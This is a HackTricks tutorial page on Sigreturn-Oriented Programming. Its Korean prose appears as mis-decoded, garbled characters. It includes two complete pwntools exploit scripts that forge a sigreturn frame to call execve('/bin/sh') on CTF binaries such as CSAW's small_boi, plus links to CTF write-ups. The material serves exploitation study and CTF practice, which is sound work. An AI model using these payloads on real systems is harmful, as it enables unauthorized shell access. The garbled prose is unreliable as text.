SROP - Sigreturn-Oriented Programming

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Basic Information

**Sigreturn**๋Š” ์ฃผ๋กœ ์‹ ํ˜ธ ์ฒ˜๋ฆฌ๊ธฐ๊ฐ€ ์‹คํ–‰์„ ์™„๋ฃŒํ•œ ํ›„ ์ •๋ฆฌํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” ํŠน๋ณ„ํ•œ syscall์ž…๋‹ˆ๋‹ค. ์‹ ํ˜ธ๋Š” ์šด์˜ ์ฒด์ œ๊ฐ€ ํ”„๋กœ๊ทธ๋žจ์— ๋ณด๋‚ด๋Š” ์ค‘๋‹จ์œผ๋กœ, ์ข…์ข… ์˜ˆ์™ธ์ ์ธ ์ƒํ™ฉ์ด ๋ฐœ์ƒํ–ˆ์Œ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. ํ”„๋กœ๊ทธ๋žจ์ด ์‹ ํ˜ธ๋ฅผ ๋ฐ›์œผ๋ฉด, ์‹ ํ˜ธ ์ฒ˜๋ฆฌ๊ธฐ๋ผ๋Š” ์‹ ํ˜ธ๋ฅผ ์ฒ˜๋ฆฌํ•˜๊ธฐ ์œ„ํ•ด ์„ค๊ณ„๋œ ํŠน๋ณ„ํ•œ ํ•จ์ˆ˜๋กœ ์‹ ํ˜ธ๋ฅผ ์ฒ˜๋ฆฌํ•˜๊ธฐ ์œ„ํ•ด ํ˜„์žฌ ์ž‘์—…์„ ์ผ์‹œ ์ค‘์ง€ํ•ฉ๋‹ˆ๋‹ค.

์‹ ํ˜ธ ์ฒ˜๋ฆฌ๊ธฐ๊ฐ€ ๋๋‚œ ํ›„, ํ”„๋กœ๊ทธ๋žจ์€ ์ด์ „ ์ƒํƒœ๋กœ ๋ณต๊ท€ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋•Œ **sigreturn**์ด ์ž‘์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ํ”„๋กœ๊ทธ๋žจ์ด ์‹ ํ˜ธ ์ฒ˜๋ฆฌ๊ธฐ์—์„œ ๋ฐ˜ํ™˜ํ•˜๊ณ  ์‹ ํ˜ธ ์ฒ˜๋ฆฌ๊ธฐ์— ์˜ํ•ด ์‚ฌ์šฉ๋œ ์Šคํƒ ํ”„๋ ˆ์ž„(ํ•จ์ˆ˜ ํ˜ธ์ถœ ๋ฐ ์ง€์—ญ ๋ณ€์ˆ˜๋ฅผ ์ €์žฅํ•˜๋Š” ๋ฉ”๋ชจ๋ฆฌ ์„น์…˜)์„ ์ •๋ฆฌํ•˜์—ฌ ํ”„๋กœ๊ทธ๋žจ์˜ ์ƒํƒœ๋ฅผ ๋ณต์›ํ•˜๋Š” ๋ฐ ๋„์›€์„ ์ค๋‹ˆ๋‹ค.

ํฅ๋ฏธ๋กœ์šด ์ ์€ **sigreturn**์ด ํ”„๋กœ๊ทธ๋žจ์˜ ์ƒํƒœ๋ฅผ ๋ณต์›ํ•˜๋Š” ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค: ์ด๋Š” ๋ชจ๋“  CPU์˜ ๋ ˆ์ง€์Šคํ„ฐ ๊ฐ’์„ ์Šคํƒ์— ์ €์žฅํ•จ์œผ๋กœ์จ ์ด๋ฃจ์–ด์ง‘๋‹ˆ๋‹ค. ์‹ ํ˜ธ๊ฐ€ ๋” ์ด์ƒ ์ฐจ๋‹จ๋˜์ง€ ์•Š์œผ๋ฉด, sigreturn์€ ์ด ๊ฐ’์„ ์Šคํƒ์—์„œ ํŒํ•˜์—ฌ CPU์˜ ๋ ˆ์ง€์Šคํ„ฐ๋ฅผ ์‹ ํ˜ธ๊ฐ€ ์ฒ˜๋ฆฌ๋˜๊ธฐ ์ „์˜ ์ƒํƒœ๋กœ ํšจ๊ณผ์ ์œผ๋กœ ์žฌ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์—๋Š” ํ˜„์žฌ ์Šคํƒ์˜ ๋งจ ์œ„๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” ์Šคํƒ ํฌ์ธํ„ฐ ๋ ˆ์ง€์Šคํ„ฐ(RSP)๊ฐ€ ํฌํ•จ๋ฉ๋‹ˆ๋‹ค.

Caution

ROP ์ฒด์ธ์—์„œ sigreturn syscall์„ ํ˜ธ์ถœํ•˜๊ณ  ๋กœ๋“œํ•˜๊ณ ์ž ํ•˜๋Š” ๋ ˆ์ง€์Šคํ„ฐ ๊ฐ’์„ ์Šคํƒ์— ์ถ”๊ฐ€ํ•˜๋ฉด ๋ชจ๋“  ๋ ˆ์ง€์Šคํ„ฐ ๊ฐ’์„ ์ œ์–ดํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๋”ฐ๋ผ์„œ ์˜ˆ๋ฅผ ๋“ค์–ด execve syscall์„ /bin/sh๋กœ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด๊ฒƒ์ด ๋‹ค๋ฅธ Ret2syscall์„ ํ˜ธ์ถœํ•˜๊ธฐ ์œ„ํ•œ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์ œ์–ดํ•˜๋Š” ๊ฒƒ์„ ํ›จ์”ฌ ์‰ฝ๊ฒŒ ๋งŒ๋“œ๋Š” Ret2syscall์˜ ์ผ์ข…์ด๋ผ๋Š” ์ ์— ์œ ์˜ํ•˜์‹ญ์‹œ์˜ค:

Ret2syscall

๊ถ๊ธˆํ•˜๋‹ค๋ฉด, ์ด๋Š” ๋‚˜์ค‘์— ๊ฐ’์„ ๋ณต๊ตฌํ•˜๊ธฐ ์œ„ํ•ด ์Šคํƒ์— ์ €์žฅ๋œ sigcontext ๊ตฌ์กฐ์ฒด์ž…๋‹ˆ๋‹ค (๋‹ค์ด์–ด๊ทธ๋žจ์€ ์—ฌ๊ธฐ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค):

+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+

๋” ๋‚˜์€ ์„ค๋ช…์„ ์œ„ํ•ด ๋‹ค์Œ๋„ ํ™•์ธํ•˜์„ธ์š”:

- YouTube

์˜ˆ์‹œ

์—ฌ๊ธฐ์—์„œ ROP๋ฅผ ํ†ตํ•ด signeturn ํ˜ธ์ถœ์ด ๊ตฌ์„ฑ๋˜๋Š” ์˜ˆ์‹œ๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (rxa์— ๊ฐ’ 0xf๋ฅผ ๋„ฃ์Œ), ๋น„๋ก ์ด๊ฒƒ์ด ์ตœ์ข… ์ต์Šคํ”Œ๋กœ์ž‡์ž…๋‹ˆ๋‹ค:

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()

BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL_RET

payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)         # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

๋˜ํ•œ ์—ฌ๊ธฐ์„œ ์ต์Šคํ”Œ๋กœ์ž‡์„ ํ™•์ธํ•˜์„ธ์š”. ์—ฌ๊ธฐ์„œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋Š” ์ด๋ฏธ sigreturn์„ ํ˜ธ์ถœํ•˜๊ณ  ์žˆ์œผ๋ฏ€๋กœ ROP๋ฅผ ๊ตฌ์ถ•ํ•  ํ•„์š”๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค.

from pwn import *

# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)

# Establish the target architecture
context.arch = "amd64"

# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)

# Start making our sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400185 # Syscall instruction
frame.rax = 59       # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0      # NULL
frame.rdx = 0x0      # NULL

payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack

target.sendline(payload) # Send the target payload

# Drop to an interactive shell
target.interactive()

๋‹ค๋ฅธ ์˜ˆ์ œ ๋ฐ ์ฐธ๊ณ ์ž๋ฃŒ

  • https://youtu.be/ADULSwnQs-s?feature=shared
  • https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop
  • https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html
  • ์Šคํƒ์— ์“ฐ๊ธฐ๋ฅผ ํ—ˆ์šฉํ•˜๊ณ  sigreturn ์‹œ์Šคํ…œ ํ˜ธ์ถœ์„ ํ˜ธ์ถœํ•˜๋Š” ์–ด์…ˆ๋ธ”๋ฆฌ ๋ฐ”์ด๋„ˆ๋ฆฌ. sigreturn ๊ตฌ์กฐ์ฒด๋ฅผ ํ†ตํ•ด ์Šคํƒ์— ret2syscall์„ ์“ธ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๋ฐ”์ด๋„ˆ๋ฆฌ์˜ ๋ฉ”๋ชจ๋ฆฌ ์•ˆ์— ์žˆ๋Š” ํ”Œ๋ž˜๊ทธ๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html
  • ์Šคํƒ์— ์“ฐ๊ธฐ๋ฅผ ํ—ˆ์šฉํ•˜๊ณ  sigreturn ์‹œ์Šคํ…œ ํ˜ธ์ถœ์„ ํ˜ธ์ถœํ•˜๋Š” ์–ด์…ˆ๋ธ”๋ฆฌ ๋ฐ”์ด๋„ˆ๋ฆฌ. sigreturn ๊ตฌ์กฐ์ฒด๋ฅผ ํ†ตํ•ด ์Šคํƒ์— ret2syscall์„ ์“ธ ์ˆ˜ ์žˆ์œผ๋ฉฐ, (๋ฐ”์ด๋„ˆ๋ฆฌ๋Š” /bin/sh ๋ฌธ์ž์—ด์„ ํฌํ•จํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค).
  • https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html
  • 64๋น„ํŠธ, relro ์—†์Œ, canary ์—†์Œ, nx, pie ์—†์Œ. gets ํ•จ์ˆ˜์˜ ๋‹จ์ˆœํ•œ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋กœ ret2syscall์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๊ฐ€์ ฏ์ด ๋ถ€์กฑํ•ฉ๋‹ˆ๋‹ค. ROP ์ฒด์ธ์€ /bin/sh๋ฅผ .bss์— ์“ฐ๊ณ , ๋‹ค์‹œ gets๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ alarm ํ•จ์ˆ˜๋ฅผ ์•…์šฉํ•˜์—ฌ eax๋ฅผ 0xf๋กœ ์„ค์ •ํ•˜์—ฌ SROP๋ฅผ ํ˜ธ์ถœํ•˜๊ณ  ์…ธ์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.
  • https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html
  • 64๋น„ํŠธ ์–ด์…ˆ๋ธ”๋ฆฌ ํ”„๋กœ๊ทธ๋žจ, relro ์—†์Œ, canary ์—†์Œ, nx, pie ์—†์Œ. ํ๋ฆ„์€ ์Šคํƒ์— ์“ฐ๊ณ  ์—ฌ๋Ÿฌ ๋ ˆ์ง€์Šคํ„ฐ๋ฅผ ์ œ์–ดํ•˜๋ฉฐ ์‹œ์Šคํ…œ ํ˜ธ์ถœ์„ ํ˜ธ์ถœํ•œ ํ›„ exit๋ฅผ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ์„ ํƒ๋œ ์‹œ์Šคํ…œ ํ˜ธ์ถœ์€ sigreturn์œผ๋กœ, ๋ ˆ์ง€์Šคํ„ฐ๋ฅผ ์„ค์ •ํ•˜๊ณ  eip๋ฅผ ์ด์ „ ์‹œ์Šคํ…œ ํ˜ธ์ถœ ๋ช…๋ น์–ด๋ฅผ ํ˜ธ์ถœํ•˜๋„๋ก ์ด๋™์‹œ์ผœ memprotect๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ๋ฐ”์ด๋„ˆ๋ฆฌ ๊ณต๊ฐ„์„ rwx๋กœ ์„ค์ •ํ•˜๊ณ  ESP๋ฅผ ๋ฐ”์ด๋„ˆ๋ฆฌ ๊ณต๊ฐ„์— ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค. ํ๋ฆ„์„ ๋”ฐ๋ผ ํ”„๋กœ๊ทธ๋žจ์€ ESP์— ๋‹ค์‹œ ์ฝ๊ธฐ๋ฅผ ํ˜ธ์ถœํ•˜์ง€๋งŒ, ์ด ๊ฒฝ์šฐ ESP๋Š” ๋‹ค์Œ ๋ช…๋ น์–ด๋ฅผ ๊ฐ€๋ฆฌํ‚ค๊ฒŒ ๋˜์–ด ์…ธ์ฝ”๋“œ๋ฅผ ๋‹ค์Œ ๋ช…๋ น์–ด๋กœ ์“ฐ๊ณ  ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.
  • https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection
  • SROP๋Š” ์…ธ์ฝ”๋“œ๊ฐ€ ๋ฐฐ์น˜๋œ ์œ„์น˜์— ์‹คํ–‰ ๊ถŒํ•œ(mempprotect)์„ ๋ถ€์—ฌํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ